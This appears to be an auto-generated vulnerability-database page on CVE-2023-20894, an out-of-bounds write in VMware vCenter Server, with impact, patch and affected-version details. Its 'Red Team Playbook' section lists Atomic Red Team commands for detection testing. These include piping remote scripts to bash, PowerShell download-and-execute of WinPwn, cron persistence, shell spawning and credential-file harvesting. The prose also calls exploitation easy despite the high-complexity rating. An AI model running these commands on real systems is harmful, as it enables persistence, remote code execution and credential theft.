CVE-2023-20894
Overview
This vulnerability is an out-of-bounds write flaw occurring within the DCERPC protocol implementation of VMware vCenter Server. The root cause lies in improper bounds checking during packet processing, which allows crafted network packets to overwrite memory outside the intended buffer. The affected component is the DCERPC protocol handler in vCenter Server versions including 7.0 and unspecified others.
Vulnerability Description
The VMware vCenter Server contains an out-of-bounds write vulnerability in the implementation of the DCERPC protocol. A malicious actor with network access to vCenter Server may trigger an out-of-bound write by sending a specially crafted packet leading to memory corruption.
Impact
An unauthenticated attacker with network access to the vCenter Server can exploit this vulnerability to corrupt memory, potentially leading to arbitrary code execution or denial of service. The attack requires no user interaction and leverages network access (AV:N/AC:H/PR:N/UI:N). Successful exploitation can compromise confidentiality, integrity, and availability of the server, enabling full system compromise or disruption of virtualization management services.
Solution
VMware has addressed this vulnerability in advisory VMSA-2023-0014. Administrators should apply the security updates provided for vCenter Server, specifically for version 7.0 and other affected releases as detailed in the advisory. The vendor’s official advisory page (https://www.vmware.com/security/advisories/VMSA-2023-0014.html) contains comprehensive patching instructions and version-specific fixes. No alternative workarounds are documented.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in VMware vCenter Server arises from an out-of-bounds write issue within the implementation of the Distributed Computing Environment Remote Procedure Call (DCERPC) protocol. This flaw allows a malicious actor with network access to the vCenter Server to send specially crafted packets that can lead to memory corruption. The nature of this vulnerability indicates that it can be exploited remotely, without the need for physical access to the server, which significantly increases the risk profile for organizations using affected versions of the software. The potential for memory corruption means that attackers could manipulate the server's memory space, potentially leading to arbitrary code execution or denial of service.
Exploitation of this vulnerability can occur through various attack vectors. An attacker could leverage network access to send malformed DCERPC packets to the vCenter Server, triggering the out-of-bounds write condition. Given that vCenter Server is often exposed to broader network environments, including the internet or internal networks, the attack surface is considerable. Scenarios may include targeted attacks against organizations that rely on VMware for their virtualization infrastructure, where an attacker could gain unauthorized access to sensitive data, disrupt services, or even pivot to other systems within the network. The high CVSS score of 9.8 reflects the critical nature of this vulnerability and the ease with which it can be exploited.
The real-world impact of this vulnerability can be severe, posing significant business risks. Organizations utilizing VMware vCenter Server are often managing critical infrastructure and sensitive workloads. Successful exploitation could lead to unauthorized access to virtual machines, data breaches, or service disruptions, all of which can have cascading effects on business operations. The financial implications of such incidents can be substantial, including costs related to incident response, recovery, legal liabilities, and reputational damage. Furthermore, the potential for data loss or exposure of sensitive information could lead to regulatory penalties, especially for organizations in regulated industries.
To detect and mitigate this vulnerability, organizations should implement a multi-layered security approach. Initial steps include ensuring that all instances of vCenter Server are updated to the latest versions that address this vulnerability. Regular patch management practices are essential to minimize exposure to known vulnerabilities. Network segmentation can also be employed to limit access to the vCenter Server, reducing the risk of exploitation from external sources. Intrusion detection systems (IDS) should be configured to monitor for unusual traffic patterns indicative of exploitation attempts, such as malformed packets targeting the DCERPC protocol. Additionally, organizations should conduct regular security assessments and penetration testing to identify and remediate vulnerabilities proactively.
In conclusion, the out-of-bounds write vulnerability in VMware vCenter Server represents a critical risk for organizations leveraging this technology. The potential for remote exploitation, combined with the severe impact on business operations, necessitates immediate attention and action. By adopting comprehensive detection and mitigation strategies, organizations can better protect their virtual environments and reduce the likelihood of successful attacks. The importance of maintaining up-to-date systems and employing robust security practices cannot be overstated in the face of such vulnerabilities.
Affected Products (33)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
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Vmware | Vcenter Server | All |
cpe:2.3:a:vmware:vcenter_server:*:*:*:*:*:*:*:*
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Vmware | Vcenter Server | 7.0 |
cpe:2.3:a:vmware:vcenter_server:7.0:-:*:*:*:*:*:*
|
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Vmware | Vcenter Server | 7.0 |
cpe:2.3:a:vmware:vcenter_server:7.0:a:*:*:*:*:*:*
|
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Vmware | Vcenter Server | 7.0 |
cpe:2.3:a:vmware:vcenter_server:7.0:b:*:*:*:*:*:*
|
|
|
Vmware | Vcenter Server | 7.0 |
cpe:2.3:a:vmware:vcenter_server:7.0:c:*:*:*:*:*:*
|
|
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Vmware | Vcenter Server | 7.0 |
cpe:2.3:a:vmware:vcenter_server:7.0:d:*:*:*:*:*:*
|
|
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Vmware | Vcenter Server | 7.0 |
cpe:2.3:a:vmware:vcenter_server:7.0:update1:*:*:*:*:*:*
|
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Vmware | Vcenter Server | 7.0 |
cpe:2.3:a:vmware:vcenter_server:7.0:update1a:*:*:*:*:*:*
|
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Vmware | Vcenter Server | 7.0 |
cpe:2.3:a:vmware:vcenter_server:7.0:update1c:*:*:*:*:*:*
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Vmware | Vcenter Server | 7.0 |
cpe:2.3:a:vmware:vcenter_server:7.0:update1d:*:*:*:*:*:*
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Vmware | Vcenter Server | 7.0 |
cpe:2.3:a:vmware:vcenter_server:7.0:update2:*:*:*:*:*:*
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Vmware | Vcenter Server | 7.0 |
cpe:2.3:a:vmware:vcenter_server:7.0:update2a:*:*:*:*:*:*
|
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Vmware | Vcenter Server | 7.0 |
cpe:2.3:a:vmware:vcenter_server:7.0:update2b:*:*:*:*:*:*
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Vmware | Vcenter Server | 7.0 |
cpe:2.3:a:vmware:vcenter_server:7.0:update2c:*:*:*:*:*:*
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Vmware | Vcenter Server | 7.0 |
cpe:2.3:a:vmware:vcenter_server:7.0:update2d:*:*:*:*:*:*
|
|
|
Vmware | Vcenter Server | 7.0 |
cpe:2.3:a:vmware:vcenter_server:7.0:update3:*:*:*:*:*:*
|
|
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Vmware | Vcenter Server | 7.0 |
cpe:2.3:a:vmware:vcenter_server:7.0:update3a:*:*:*:*:*:*
|
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Vmware | Vcenter Server | 7.0 |
cpe:2.3:a:vmware:vcenter_server:7.0:update3c:*:*:*:*:*:*
|
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Vmware | Vcenter Server | 7.0 |
cpe:2.3:a:vmware:vcenter_server:7.0:update3d:*:*:*:*:*:*
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Vmware | Vcenter Server | 7.0 |
cpe:2.3:a:vmware:vcenter_server:7.0:update3e:*:*:*:*:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
0 eventsNo threat activity recorded for this CVE.
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns
No CAPEC pattern mapped to this CVE.
Red Team Playbook
47 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
echo "#{command}" > /etc/cron.d/#{cron_script_name}
echo "#{command}" >> /var/spool/cron/crontabs/#{cron_script_name}
echo "#{command}" > /etc/cron.daily/#{cron_script_name}
echo "#{command}" > /etc/cron.hourly/#{cron_script_name}
echo "#{command}" > /etc/cron.monthly/#{cron_script_name}
echo "#{command}" > /etc/cron.weekly/#{cron_script_name}
crontab -l > /tmp/notevil
echo "* * * * * #{command}" > #{tmp_cron} && crontab #{tmp_cron}
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (3)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2023-20894 |
| vmware.com |
GitHub CVE
|
https://www.vmware.com/security/advisories/VMSA-2023-0014.html |
| talosintelligence.com |
GitHub CVE
|
https://www.talosintelligence.com/vulnerability_reports/TALOS-2022-1658 |